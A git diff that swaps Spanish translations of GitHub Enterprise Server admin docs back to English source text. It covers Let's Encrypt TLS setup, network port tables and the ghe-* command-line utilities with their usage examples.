variables.product.product_location %} para generar un certificado de Let's Encrypt de manera automática. Para obtener más información, consulta "[Utilidades de la línea de comando](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-ssl-acme)." +You can also use the `ghe-ssl-acme` command line utility on {% data variables.product.product_location %} to automatically generate a Let's Encrypt certificate. For more information, see "[Command-line utilities](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-ssl-acme)." -## Configurar TLS usando Let's Encrypt +## Configuring TLS using Let's Encrypt {% data reusables.enterprise_installation.lets-encrypt-prerequisites %} @@ -71,9 +73,12 @@ También puedes usar la utilidad de la línea de comando `ghe-ssl-acme` en {% da {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.privacy %} {% data reusables.enterprise_management_console.select-tls-only %} -5. Selecciona **Enable automation of TLS certificate management using Let's Encrypt** (Habilitar la automatización de la gestión de certificado TLS con Let's Encrypt). ![Casilla de verificación para habilitar Let's Encrypt](/assets/images/enterprise/management-console/lets-encrypt-checkbox.png) +5. Select **Enable automation of TLS certificate management using Let's Encrypt**. + ![Checkbox to enable Let's Encrypt](/assets/images/enterprise/management-console/lets-encrypt-checkbox.png) {% data reusables.enterprise_management_console.save-settings %} {% data reusables.enterprise_management_console.privacy %} -7. Haz clic en **Request TLS certificate** (Solicitar certificado TLS). ![Botón para solicitar certificado TLS](/assets/images/enterprise/management-console/request-tls-button.png) -8. Espera para que el "Estado" cambie de "INICIADO" a "HECHO". ![Estado de "vamos a cifrar"](/assets/images/enterprise/management-console/lets-encrypt-status.png) -9. Haz clic en **Save configuration** (Guardar configuración). +7. Click **Request TLS certificate**. + ![Request TLS certificate button](/assets/images/enterprise/management-console/request-tls-button.png) +8. Wait for the "Status" to change from "STARTED" to "DONE". + ![Let's Encrypt status](/assets/images/enterprise/management-console/lets-encrypt-status.png) +9. Click **Save configuration**. diff --git a/translations/es-ES/content/admin/configuration/configuring-network-settings/network-ports.md b/translations/es-ES/content/admin/configuration/configuring-network-settings/network-ports.md index c73a364280..4fcd17c1a7 100644 --- a/translations/es-ES/content/admin/configuration/configuring-network-settings/network-ports.md +++ b/translations/es-ES/content/admin/configuration/configuring-network-settings/network-ports.md @@ -1,5 +1,5 @@ --- -title: Puertos de red +title: Network ports redirect_from: - /enterprise/admin/articles/configuring-firewalls/ - /enterprise/admin/articles/firewall/ @@ -8,7 +8,7 @@ redirect_from: - /enterprise/admin/installation/network-ports - /enterprise/admin/configuration/network-ports - /admin/configuration/network-ports -intro: 'Abre los puertos de red de forma selectiva en base a los servicios de red que necesitas exponer a los administradores, usuarios finales y apoyo de correo electrónico.' +intro: 'Open network ports selectively based on the network services you need to expose for administrators, end users, and email support.' versions: ghes: '*' type: reference @@ -18,37 +18,36 @@ topics: - Networking - Security --- +## Administrative ports -## Puertos administrativos +Some administrative ports are required to configure {% data variables.product.product_location %} and run certain features. Administrative ports are not required for basic application use by end users. -Se requieren algunos puertos administrativos para configurar {% data variables.product.product_location %} y ejecutar determinadas funciones. No se requieren puertos administrativos para el uso de la aplicación básica por parte de los usuarios finales. +| Port | Service | Description | +|---|---|---| +| 8443 | HTTPS | Secure web-based {% data variables.enterprise.management_console %}. Required for basic installation and configuration. | +| 8080 | HTTP | Plain-text web-based {% data variables.enterprise.management_console %}. Not required unless SSL is disabled manually. | +| 122 | SSH | Shell access for {% data variables.product.product_location %}. Required to be open to incoming connections between all nodes in a high availability configuration. The default SSH port (22) is dedicated to Git and SSH application network traffic. | +| 1194/UDP | VPN | Secure replication network tunnel in high availability configuration. Required to be open for communication between all nodes in the configuration.| +| 123/UDP| NTP | Required for time protocol operation. | +| 161/UDP | SNMP | Required for network monitoring protocol operation. | -| Port (Puerto) | Servicio | Descripción | -| ------------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| 8443 | HTTPS | {% data variables.enterprise.management_console %} segura basada en la web. Requerida para la instalación y la configuración básicas. | -| 8080 | HTTP | {% data variables.enterprise.management_console %} basada en la web de texto simple. No se requiere excepto que el SSL esté inhabilitado de forma manual. | -| 122 | SSH | Acceso shell para {% data variables.product.product_location %}. Se requiere para abrir las conexiones entrantes de todos los otros nodos en la configuración de alta disponibilidad. El puerto SSH predeterminado (22) está destinado al tráfico de red de la aplicación SSH y Git. | -| 1194/UDP | VPN | Túnel de red de replicación segura en la configuración de alta disponibilidad. Se requiere que esté abierto para todos los otros nodos en la configuración. | -| 123/UDP | NTP | Se requiere para operar el protocolo de tiempo. | -| 161/UDP | SNMP | Se requiere para operar el protocolo de revisión de red. | +## Application ports for end users -## Puertos de la aplicación para usuarios finales +Application ports provide web application and Git access for end users. -Los puertos de la aplicación permiten que los usuarios finales accedan a Git y a las aplicaciones web. - -| Port (Puerto) | Servicio | Descripción | -| ------------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| 443 | HTTPS | Acceso a la aplicación web y a Git por HTTPS. | -| 80 | HTTP | Acceso a la aplicación web. Todas las solicitudes se redireccionan al puerto HTTPS cuando se habilita SSL. | -| 22 | SSH | Acceso a Git por SSH. Admite las operaciones clonar, extraer y subir a los repositorios privados y públicos. | -| 9418 | Git | El puerto de protocolo Git admite las operaciones clonar y extraer a los repositorios públicos con comunicación de red desencriptada. {% data reusables.enterprise_installation.when-9418-necessary %} +| Port | Service | Description | +|---|---|---| +| 443 | HTTPS | Access to the web application and Git over HTTPS. | +| 80 | HTTP | Access to the web application. All requests are redirected to the HTTPS port when SSL is enabled. | +| 22 | SSH | Access to Git over SSH. Supports clone, fetch, and push operations to public and private repositories. | +| 9418 | Git | Git protocol port supports clone and fetch operations to public repositories with unencrypted network communication. {% data reusables.enterprise_installation.when-9418-necessary %} | {% data reusables.enterprise_installation.terminating-tls %} -## Puertos de correo electrónico +## Email ports -Los puertos de correo electrónico deben ser accesibles directamente o por medio de la retransmisión del correo electrónico entrante para los usuarios finales. +Email ports must be accessible directly or via relay for inbound email support for end users. -| Port (Puerto) | Servicio | Descripción | -| ------------- | -------- | ---------------------------------------------- | -| 25 | SMTP | Soporte para SMTP con encriptación (STARTTLS). | +| Port | Service | Description | +|---|---|---| +| 25 | SMTP | Support for SMTP with encryption (STARTTLS). | diff --git a/translations/es-ES/content/admin/configuration/configuring-your-enterprise/command-line-utilities.md b/translations/es-ES/content/admin/configuration/configuring-your-enterprise/command-line-utilities.md index edc3aab5b9..2e8a16c345 100644 --- a/translations/es-ES/content/admin/configuration/configuring-your-enterprise/command-line-utilities.md +++ b/translations/es-ES/content/admin/configuration/configuring-your-enterprise/command-line-utilities.md @@ -1,6 +1,6 @@ --- -title: Utilidades de la línea de comando -intro: '{% data variables.product.prodname_ghe_server %} incluye una gama de utilidades para ayudar a resolver problemas particulares o realizar tareas específicas.' +title: Command-line utilities +intro: '{% data variables.product.prodname_ghe_server %} includes a variety of utilities to help resolve particular problems or perform specific tasks.' redirect_from: - /enterprise/admin/articles/viewing-all-services/ - /enterprise/admin/articles/command-line-utilities/ @@ -15,26 +15,25 @@ topics: - Enterprise - SSH --- - -Puedes ejecutar estos comandos desde cualquier lugar en la VM después de iniciar sesión como usuario administrador de SSH. Para obtener más información, consulta "[Acceder al shell administrativo (SSH)](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-administrative-shell-ssh/)." +You can execute these commands from anywhere on the VM after signing in as an SSH admin user. For more information, see "[Accessing the administrative shell (SSH)](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-administrative-shell-ssh/)." ## General ### ghe-announce -Esta utilidad establece un mensaje emergente en la parte superior de cada página {% data variables.product.prodname_enterprise %}. Puedes usarlo para difundir un mensaje entre tus usuarios. +This utility sets a banner at the top of every {% data variables.product.prodname_enterprise %} page. You can use it to broadcast a message to your users. {% ifversion ghes %} -También puedes configurar un letrero de anuncios utilizando la configuración empresarial en {% data variables.product.product_name %}. Para obtener más información, consulta "[Personalizar mensajes de usuario en tu instancia](/enterprise/admin/user-management/customizing-user-messages-on-your-instance#creating-a-global-announcement-banner)." +You can also set an announcement banner using the enterprise settings on {% data variables.product.product_name %}. For more information, see "[Customizing user messages on your instance](/enterprise/admin/user-management/customizing-user-messages-on-your-instance#creating-a-global-announcement-banner)." {% endif %} ```shell -# Establece un mensaje que es visible para todos +# Sets a message that's visible to everyone $ ghe-announce -s MESSAGE -> Mensaje de anuncio establecido. -# Elimina un mensaje establecido previamente +> Announcement message set. +# Removes a previously set message $ ghe-announce -u -> Eliminó el mensaje de anuncio +> Removed the announcement message ``` {% ifversion ghes > 3.1 %} @@ -42,18 +41,18 @@ $ ghe-announce -u ### ghe-aqueduct -Esta utilidad muestra información sobre los trabajos en segundo plano, tanto activos como en cola. Proporciona las mismas cantidades de recuento de trabajos que la barra de estado del administrador que aparece en la parte superior de cada página. +This utility displays information on background jobs, both active and in the queue. It provides the same job count numbers as the admin stats bar at the top of every page. -Esta utilidad puede ayudarte a identificar si el servidor de Aqueduct está teniendo problemas para procesar jobs en segundo plano. Cualquiera de los siguientes casos puede indicar un problema con Aqueduct: +This utility can help identify whether the Aqueduct server is having problems processing background jobs. Any of the following scenarios might be indicative of a problem with Aqueduct: -* Aumenta la cantidad de trabajos de segundo plano, pero los trabajos activos siguen siendo los mismos. -* Las fuentes de eventos no se actualizan. -* Los webhooks no se están activando. -* La interfaz web no se actualiza después de una subida de Git. +* The number of background jobs is increasing, while the active jobs remain the same. +* The event feeds are not updating. +* Webhooks are not being triggered. +* The web interface is not updating after a Git push. -Si sospechas que Aqueduct está fallando, contacta a {% data variables.contact.contact_ent_support %} para obtener ayuda. +If you suspect Aqueduct is failing, contact {% data variables.contact.contact_ent_support %} for help. -Con este comando, también puedes detener o reanudar los trabajos en cola. +With this command, you can also pause or resume jobs in the queue. ```shell $ ghe-aqueduct status @@ -69,7 +68,7 @@ $ ghe-aqueduct resume --queue QUEUE ### ghe-check-disk-usage -Esta utilidad busca en el disco los archivos grandes o los archivos que se han eliminado, pero siguen teniendo identificadores de archivo abiertos. Esto se debería ejecutar cuando intentes liberar espacio en la partición raíz. +This utility checks the disk for large files or files that have been deleted but still have open file handles. This should be run when you're trying to free up space on the root partition. ```shell ghe-check-disk-usage @@ -77,18 +76,18 @@ ghe-check-disk-usage ### ghe-cleanup-caches -Esta utilidad borra una variedad de cachés que podrían ocupar espacio extra del disco en el volumen raíz. Si notas que el uso del espacio de disco del volumen raíz aumenta de manera considerable, sería buena idea ejecutar esta utilidad para ver si ayuda a reducir el uso general. +This utility cleans up a variety of caches that might potentially take up extra disk space on the root volume. If you find your root volume disk space usage increasing notably over time it would be a good idea to run this utility to see if it helps reduce overall usage. ```shell ghe-cleanup-caches ``` ### ghe-cleanup-settings -Esta utilidad borra todas las configuraciones {% data variables.enterprise.management_console %} existentes. +This utility wipes all existing {% data variables.enterprise.management_console %} settings. {% tip %} -**Consejo**: {% data reusables.enterprise_enterprise_support.support_will_ask_you_to_run_command %} +**Tip**: {% data reusables.enterprise_enterprise_support.support_will_ask_you_to_run_command %} {% endtip %} @@ -98,24 +97,24 @@ ghe-cleanup-settings ### ghe-config -Con esta utilidad, puedes recuperar y modificar los ajustes de configuración de {% data variables.product.product_location %}. +With this utility, you can both retrieve and modify the configuration settings of {% data variables.product.product_location %}. ```shell $ ghe-config core.github-hostname -# Obtiene el valor de configuración de `core.github-hostname` +# Gets the configuration value of `core.github-hostname` $ ghe-config core.github-hostname 'example.com' -# Establece el valor de configuración de `core.github-hostname` en `example.com` +# Sets the configuration value of `core.github-hostname` to `example.com` $ ghe-config -l -# Detalla todos los valores de configuración +# Lists all the configuration values ``` -Te permite encontrar el identificador único universal (UUID, por sus siglas en inglés) de tu nodo en `cluster.conf`. +Allows you to find the universally unique identifier (UUID) of your node in `cluster.conf`. ```shell $ ghe-config HOSTNAME.uuid ``` {% ifversion ghes %} -Te permite eximir una lista de usuarios de los límites de tasa de la API. Para obtener más información, consulta la sección "[Limites de tasa](/enterprise/{{ page.version }}/v3/#rate-limiting)." +Allows you to exempt a list of users from API rate limits. For more information, see "[Resources in the REST API](/rest/overview/resources-in-the-rest-api#rate-limiting)." ``` shell $ ghe-config app.github.rate-limiting-exempt-users "hubot github-actions" @@ -125,9 +124,9 @@ $ ghe-config app.github.rate-limiting-exempt-users "hubot github-ac ### ghe-config-apply -Esta utilidad aplica configuraciones {% data variables.enterprise.management_console %}, vuelve a cargar servicios del sistema, prepara un dispositivo de almacenamiento y ejecuta cualquier migración de base de datos pendiente. Es equivalente a dar clic en **Guardar configuración** en la IU web de {% data variables.enterprise.management_console %} o a enviar una solicitud de POST a [la terminal `/setup/api/configure`](/enterprise/{{ currentVersion }}/user/rest/reference/enterprise-admin#management-console). +This utility applies {% data variables.enterprise.management_console %} settings, reloads system services, prepares a storage device, reloads application services, and runs any pending database migrations. It is equivalent to clicking **Save settings** in the {% data variables.enterprise.management_console %}'s web UI or to sending a POST request to [the `/setup/api/configure` endpoint](/enterprise/{{ currentVersion }}/user/rest/reference/enterprise-admin#management-console). -Probablemente, nunca la debas ejecutar en forma manual, pero está disponible si quieres automatizar el proceso de guardar tus configuraciones a través de SSH. +You will probably never need to run this manually, but it's available if you want to automate the process of saving your settings via SSH. ```shell ghe-config-apply @@ -135,7 +134,7 @@ ghe-config-apply ### ghe-console -Esta utilidad abre la consola GitHub Rails en tu aparato {% data variables.product.prodname_enterprise %}. {% data reusables.command_line.use_with_support_only %} +This utility opens the GitHub Rails console on your {% data variables.product.prodname_enterprise %} appliance. {% data reusables.command_line.use_with_support_only %} ```shell ghe-console @@ -143,16 +142,16 @@ ghe-console ### ghe-dbconsole -Esta utilidad abre una sesión de base de datos de MySQL en tu aparato {% data variables.product.prodname_enterprise %}. {% data reusables.command_line.use_with_support_only %} +This utility opens a MySQL database session on your {% data variables.product.prodname_enterprise %} appliance. {% data reusables.command_line.use_with_support_only %} ```shell ghe-dbconsole ``` ### ghe-es-index-status -Esta utilidad genera un resumen de los índices de Elasticsearch en formato CSV. +This utility returns a summary of Elasticsearch indexes in CSV format. -Imprime un resumen de los índices con un encabezado para `STDOUT`: +Print an index summary with a header row to `STDOUT`: ```shell $ ghe-es-index-status -do > warning: parser/current is loading parser/ruby23, which recognizes @@ -171,18 +170,18 @@ $ ghe-es-index-status -do > wikis-4,true,true,true,true,100.0,2613dec44bd14e14577803ac1f9e4b7e07a7c234 ``` -Imprime un resumen de los índices y canaliza los resultados en `columnas` para mejor legibilidad: +Print an index summary and pipe results to `column` for readability: ```shell $ ghe-es-index-status -do | column -ts, > warning: parser/current is loading parser/ruby23, which recognizes > warning: 2.3.3-compliant syntax, but you are running 2.3.4. > warning: please see https://github.com/whitequark/parser#compatibility-with-ruby-mri. -> Nombre Principal Se puede buscar Editable Actualizado Avance reparación Versión +> Name Primary Searchable Writable UpToDate RepairProgress Version > code-search-1 true true true true 100.0 72e27df7c631b45e026b42bfef059328fa040e17 > commits-5 true true true true 100.0 7ed28813100c47813ef654c0ee2bb9abf21ab744 > gists-4 true true true true 100.0 cf8e7d04fcf2564c902e2873c424a279cc41079d -> issues-4 falso falso falso true 100.0 d0bb08f71eebf6e7b070572aa399b185dbdc8a76 +> issues-4 false false false true 100.0 d0bb08f71eebf6e7b070572aa399b185dbdc8a76 > issues-5 true true true true 100.0 d0bb08f71eebf6e7b070572aa399b185dbdc8a76 > projects-2 true true true true 100.0 c5cac1c4b3c66d42e609d088d174dbc3dd44469a > pull-requests-6 true true true true 100.0 6a466ad6b896a3499509990979bf9a18d7d41de3 @@ -193,7 +192,7 @@ $ ghe-es-index-status -do | column -ts, ### ghe-legacy-github-services-report -Esta utilidad enumera los repositorios de tu aparato que usan Servicios {% data variables.product.prodname_dotcom %}, un método de integración que se interrumpirá el 1 de octubre de 2018. Los usuarios de tu aparato pueden tener configurados servicios {% data variables.product.prodname_dotcom %} para crear notificaciones de subidas a determinados repositorios. Para obtener más información, consulta la sección "[Anunciar la obsoletización de servicios de {% data variables.product.prodname_dotcom %} ](https://developer.github.com/changes/2018-04-25-github-services-deprecation/)" en {% data variables.product.prodname_blog %} o la sección "[Reemplazar servicios de {% data variables.product.prodname_dotcom %}](/developers/overview/replacing-github-services)". Para obtener más información acerca de este comando o para conocer otras opciones, utiliza la marca `-h`. +This utility lists repositories on your appliance that use {% data variables.product.prodname_dotcom %} Services, an integration method that will be discontinued on October 1, 2018. Users on your appliance may have set up {% data variables.product.prodname_dotcom %} Services to create notifications for pushes to certain repositories. For more information, see "[Announcing the deprecation of {% data variables.product.prodname_dotcom %} Services](https://developer.github.com/changes/2018-04-25-github-services-deprecation/)" on {% data variables.product.prodname_blog %} or "[Replacing {% data variables.product.prodname_dotcom %} Services](/developers/overview/replacing-github-services)." For more information about this command or for additional options, use the `-h` flag. ```shell ghe-legacy-github-services-report @@ -202,7 +201,7 @@ ghe-legacy-github-services-report ### ghe-logs-tail -Esta utilidad te permite hacer un registro final de todos los archivos de registro relevantes desde tu instalación. Puedes aprobar opciones para limitar los registros a conjuntos específicos. Utiliza la marca -h para más opciones. +This utility lets you tail log all relevant log files from your installation. You can pass options in to limit the logs to specific sets. Use the -h flag for additional options. ```shell ghe-logs-tail @@ -210,7 +209,7 @@ ghe-logs-tail ### ghe-maintenance -Esta utilidad te permite controlar el estado del modo de mantenimiento de la instalación. Está diseñada para que la use principalmente la {% data variables.enterprise.management_console %} en segundo plano, pero también se puede usar directamente. +This utility allows you to control the state of the installation's maintenance mode. It's designed to be used primarily by the {% data variables.enterprise.management_console %} behind-the-scenes, but it can be used directly. ```shell ghe-maintenance -h @@ -218,7 +217,7 @@ ghe-maintenance -h ### ghe-motd -Esta utilidad vuelve a mostrar el mensaje del día (MOTD) en el que los administradores ven cuando se accede a la isntancia a través del shell administrativo. El resultado contiene un resumen del estado de la instancia. +This utility re-displays the message of the day (MOTD) that administrators see when accessing the instance via the administrative shell. The output contains an overview of the instance's state. ```shell ghe-motd @@ -226,7 +225,7 @@ ghe-motd ### ghe-nwo -Esta utilidad genera un nombre y propietario de repositorio en función del Id. del repositorio. +This utility returns a repository's name and owner based on the repository ID. ```shell ghe-nwo REPOSITORY_ID @@ -234,36 +233,36 @@ ghe-nwo REPOSITORY_ID ### ghe-org-admin-promote -Usa este comando para otorgarles privilegios de propietario de la organización a los usuarios con privilegios de administrador del sitio sobre el aparato o para otorgarle privilegios de propietario de la organización a cualquier usuario único de una organización única. Debes especificar un usuario o una organización. El comando `ghe-org-admin-promote` siempre pedirá confirmación antes de ejecutarse, a menos que uses la marca `-y` para omitir la confirmación. +Use this command to give organization owner privileges to users with site admin privileges on the appliance, or to give organization owner privileges to any single user in a single organization. You must specify a user and/or an organization. The `ghe-org-admin-promote` command will always ask for confirmation before running unless you use the `-y` flag to bypass the confirmation. -Puedes usar las siguientes opciones con la utilidad: +You can use these options with the utility: -- La marca `-u` especifica un nombre de usuario. Usa esta marca para otorgarle privilegios de propietario de la organización a un usuario específico. Omite la marca `-u` para promover todos los administradores del sitio a la organización específica. -- La marca `-o` especifica una organización. Usa esta marca para otorgar privilegios de propietario en una organización específica. Omite la marca `-o` para otorgarle permisos de propietario en todas las organizaciones al administrador del sitio especificado. -- La marca `-a` otorga privilegios de propietario en todas las organizaciones a todos los administradores del sitio. -- La marca `-y` omite la confirmación manual. +- The `-u` flag specifies a username. Use this flag to give organization owner privileges to a specific user. Omit the `-u` flag to promote all site admins to the specified organization. +- The `-o` flag specifies an organization. Use this flag to give owner privileges in a specific organization. Omit the `-o` flag to give owner permissions in all organizations to the specified site admin. +- The `-a` flag gives owner privileges in all organizations to all site admins. +- The `-y` flag bypasses the manual confirmation. -Esta utilidad no puede promover una cuenta de usuario que no sea administrador del sitio a propietario de todas las organizaciones. Puedes promover una cuenta de usuario común a administrador del sitio con [ghe-user-promote](#ghe-user-promote). +This utility cannot promote a non-site admin to be an owner of all organizations. You can promote an ordinary user account to a site admin with [ghe-user-promote](#ghe-user-promote). -Otorga privilegios de propietario de organización a un administrador de sitio específico en una organización específica +Give organization owner privileges in a specific organization to a specific site admin ```shell ghe-org-admin-promote -u USERNAME -o ORGANIZATION ``` -Otorga privilegios de propietario de la organización en todas las organizaciones a un administrador del sitio específico +Give organization owner privileges in all organizations to a specific site admin ```shell ghe-org-admin-promote -u USERNAME ``` -Otorga privilegios de propietario de la organización en una organización específica a todos los administradores del sitio +Give organization owner privileges in a specific organization to all site admins ```shell ghe-org-admin-promote -o ORGANIZATION ``` -Otorga privilegios de propietario de la organización en todas las organizaciones a todos los administradores del sitio +Give organization owner privileges in all organizations to all site admins ```shell ghe-org-admin-promote -a @@ -271,7 +270,7 @@ ghe-org-admin-promote -a ### ghe-reactivate-admin-login -Usa este comando para desbloquear de inmediato la {% data variables.enterprise.management_console %} después de 10 intentos fallidos de inicio de sesión en el transcurso de 10 minutos. +Use this command to immediately unlock the {% data variables.enterprise.management_console %} after 10 failed login attempts in the span of 10 minutes. ```shell $ ghe-reactivate-admin-login @@ -282,51 +281,51 @@ $ ghe-reactivate-admin-login ### ghe-resque-info -Esta utilidad muestra información sobre los trabajos en segundo plano, tanto activos como en cola. Proporciona las mismas cantidades de recuento de trabajos que la barra de estado del administrador que aparece en la parte superior de cada página. +This utility displays information on background jobs, both active and in the queue. It provides the same job count numbers as the admin stats bar at the top of every page. -Esta utilidad puede ayudar a identificar si el servidor Resque está teniendo problemas para procesar los trabajos de segundo plano. Cualquiera de los siguientes escenarios puede ser indicativo de un problema con Reque: +This utility can help identify whether the Resque server is having problems processing background jobs. Any of the following scenarios might be indicative of a problem with Resque: -* Aumenta la cantidad de trabajos de segundo plano, pero los trabajos activos siguen siendo los mismos. -* Las fuentes de eventos no se actualizan. -* Los webhooks no se están activando. -* La interfaz web no se actualiza después de una subida de Git. +* The number of background jobs is increasing, while the active jobs remain the same. +* The event feeds are not updating. +* Webhooks are not being triggered. +* The web interface is not updating after a Git push. -Si sospechas que Resque está fallando, contáctate con {% data variables.contact.contact_ent_support %} para obtener ayuda. +If you suspect Resque is failing, contact {% data variables.contact.contact_ent_support %} for help. -Con este comando, también puedes detener o reanudar los trabajos en cola. +With this command, you can also pause or resume jobs in the queue. ```shell $ ghe-resque-info -# detalla las colas y la cantidad de trabajos actualmente en cola +# lists queues and the number of currently queued jobs $ ghe-resque-info -p QUEUE -# detiene la cola especificada +# pauses the specified queue $ ghe-resque-info -r QUEUE -# reanuda la cola especificada +# resumes the specified queue ``` {% endif %} ### ghe-saml-mapping-csv -Esta utilidad puede ayudar a mapear los registros de SAML. +This utility can help map SAML records. -Para crear un archivo CSV que contenga todo el mapeo de SAML para tus usuarios de {% data variables.product.product_name %}: +To create a CSV file containing all the SAML mapping for your {% data variables.product.product_name %} users: ```shell $ ghe-saml-mapping-csv -d ``` -Para realizar una simulación de actualización de mapeo de SAML con nuevos valores: +To perform a dry run of updating SAML mappings with new values: ```shell $ ghe-saml-mapping-csv -u -n -f /path/to/file ``` -Para actualizar el mapeo de SAML con nuevos valores: +To update SAML mappings with new values: ```shell $ ghe-saml-mapping-csv -u -f /path/to/file ``` ### ghe-service-list -Esta utilidad enumera todos los servicios que se han iniciado o detenido (en ejecución o en espera) en tu aparato. +This utility lists all of the services that have been started or stopped (are running or waiting) on your appliance. ```shell $ ghe-service-list @@ -353,7 +352,7 @@ stop/waiting ### ghe-set-password -Con `ghe-set-password`, puedes establecer una contraseña nueva para autenticarla en la [{% data variables.enterprise.management_console %}](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-management-console). +With `ghe-set-password`, you can set a new password to authenticate into the [{% data variables.enterprise.management_console %}](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-management-console). ```shell ghe-set-password @@ -361,55 +360,55 @@ ghe-set-password ### ghe-ssh-check-host-keys -Esta utilidad compara las claves del host de SSH existentes con la lista de claves del host de SHH filtradas conocidas. +This utility checks the existing SSH host keys against the list of known leaked SSH host keys. ```shell $ ghe-ssh-check-host-keys ``` -Si se encuentra una clave del host filtrada, se cierra la utilidad en un estado `1` y con un mensaje: +If a leaked host key is found the utility exits with status `1` and a message: ```shell -> Una o más de tus claves del host de SHH aparecen en la lista negra. -> Restablece tus claves del host usando ghe-ssh-roll-host-keys. +> One or more of your SSH host keys were found in the blacklist. +> Please reset your host keys using ghe-ssh-roll-host-keys. ``` -Si no se encontró una clave del host filtrada, se cierra la utilidad en un estado `0` y con un mensaje: +If a leaked host key was not found, the utility exits with status `0` and a message: ```shell -> Las claves del host de SSH no se encontraron en la lista negra de claves del host de SSH. -> No se requieren/recomiendan más pasos en este momento. +> The SSH host keys were not found in the SSH host key blacklist. +> No additional steps are needed/recommended at this time. ``` ### ghe-ssh-roll-host-keys -Esta utilidad rota las claves del host de SSH y las reemplaza con claves que se generan nuevas. +This utility rolls the SSH host keys and replaces them with newly generated keys. ```shell $ sudo ghe-ssh-roll-host-keys -¿Quieres proceder con la rotación de claves del host de SSH? Esto eliminará las -las claves existentes en /etc/ssh/ssh_host_* y generará nuevas. [y/N] +Proceed with rolling SSH host keys? This will delete the +existing keys in /etc/ssh/ssh_host_* and generate new ones. [y/N] -# Presiona 'Y' para confirmar la eliminación o utiliza el modificador -y para omitir esta pregunta +# Press 'Y' to confirm deleting, or use the -y switch to bypass this prompt -> Las claves del host de SSH se han rotado con éxito. +> SSH host keys have successfully been rolled. ``` ### ghe-ssh-weak-fingerprints -Esta utilidad genera un informe de claves de SSH débiles conocidas que están almacenadas en el aparato {% data variables.product.prodname_enterprise %}. Opcionalmente, puedes revocar las claves de usuario como acción masiva. La utilidad informará las claves de sistema débiles que puedes revocar en forma manual en la [{% data variables.enterprise.management_console %}](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-management-console). +This utility returns a report of known weak SSH keys stored on the {% data variables.product.prodname_enterprise %} appliance. You can optionally revoke user keys as a bulk action. The utility will report weak system keys, which you must manually revoke in the [{% data variables.enterprise.management_console %}](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-management-console). ```shell -# Imprime un informe de usuario y claves SSH del sistema débiles +# Print a report of weak user and system SSH keys $ ghe-ssh-weak-fingerprints -# Revoca todas las claves de usuario débiles +# Revoke all weak user keys $ ghe-ssh-weak-fingerprints --revoke ``` ### ghe-ssl-acme -Esta utilidad te permite instalar un certificado de Let's Encrypt en tu aparato {% data variables.product.prodname_enterprise %}. Para obtener más información, consulta "[Configurar TLS](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-tls)." +This utility allows you to install a Let's Encrypt certificate on your {% data variables.product.prodname_enterprise %} appliance. For more information, see "[Configuring TLS](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-tls)." -Puede utilizar la etiqueta `-x` para eliminar la configuración ACME. +You can use the `-x` flag to remove the ACME configuration. ```shell ghe-ssl-acme -e @@ -417,11 +416,11 @@ ghe-ssl-acme -e ### ghe-ssl-ca-certificate-install -Esta utilidad te termine instalar un certificado CA de raíz personalizado en tu servidor {% data variables.product.prodname_enterprise %}. El certificado debe tener un formato PEM. Además, si tu proveedor de certificación incluye varios certificados CA en un único archivo, debes separarlos en archivos individuales que luego pasarás a `ghe-ssl-ca-certificate-install` de a uno por vez. +This utility allows you to install a custom root CA certificate on your {% data variables.product.prodname_enterprise %} server. The certificate must be in PEM format. Furthermore, if your certificate provider includes multiple CA certificates in a single file, you must separate them into individual files that you then pass to `ghe-ssl-ca-certificate-install` one at a time. -Ejecuta esta utilidad para agregar una cadena de certificación para la verificación de firma de confirmación S/MIME. Para obtener más información, consulta "[Acerca de la verificación de firma de confirmación](/enterprise/{{ currentVersion }}/user/articles/about-commit-signature-verification/)." +Run this utility to add a certificate chain for S/MIME commit signature verification. For more information, see "[About commit signature verification](/enterprise/{{ currentVersion }}/user/articles/about-commit-signature-verification/)." -Ejecuta esta utilidad cuando {% data variables.product.product_location %} no pueda conectarse con otro servidor porque el segundo está usando un certificado SSL autofirmado o un certificado SSL para el cual no proporciona el paquete de soporte CA necesario. Una manera de confirmar esto es ejecutar `openssl s_client -connect host:port -verify 0 -CApath /etc/ssl/certs` desde {% data variables.product.product_location %}. Si el certificado SSL del servidor remoto se puede verificar, tu `SSL-Session` debe tener un código de retorno de 0, como se muestra a continuación. +Run this utility when {% data variables.product.product_location %} is unable to connect to another server because the latter is using a self-signed SSL certificate or an SSL certificate for which it doesn't provide the necessary CA bundle. One way to confirm this is to run `openssl s_client -connect host:port -verify 0 -CApath /etc/ssl/certs` from {% data variables.product.product_location %}. If the remote server's SSL certificate can be verified, your `SSL-Session` should have a return code of 0, as shown below. ``` SSL-Session: @@ -436,7 +435,7 @@ SSL-Session: Verify return code: 0 (ok) ``` -Si por el contrario, el certificado SSL del servidor remoto *no* se puede verificar, entonces tu `SSL-Session` debe tener un código de retorno distinto a cero: +If, on the other hand, the remote server's SSL certificate can *not* be verified, your `SSL-Session` should have a nonzero return code: ``` SSL-Session: @@ -451,9 +450,9 @@ SSL-Session: Verify return code: 27 (certificate not trusted) ``` -Puedes usar estas opciones adicionales con la utilidad: -- La marca `-r` te permite desinstalar un certificado CA. -- La marca `-h` muestra más información de uso. +You can use these additional options with the utility: +- The `-r` flag allows you to uninstall a CA certificate. +- The `-h` flag displays more usage information. ```shell ghe-ssl-ca-certificate-install -c /path/to/certificate @@ -461,9 +460,9 @@ ghe-ssl-ca-certificate-install -c /path/to/certificate ### ghe-ssl-generate-csr -Esta utilidad te permite generar una clave privada y una solicitud de firma de certificado (CSR), que puedes compartir con una autoridad de certificación comercial o privada para obtener un certificado válido para utilizar con tu instancia. Para obtener más información, consulta "[Configurar TLS](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-tls)." +This utility allows you to generate a private key and certificate signing request (CSR), which you can share with a commercial or private certificate authority to get 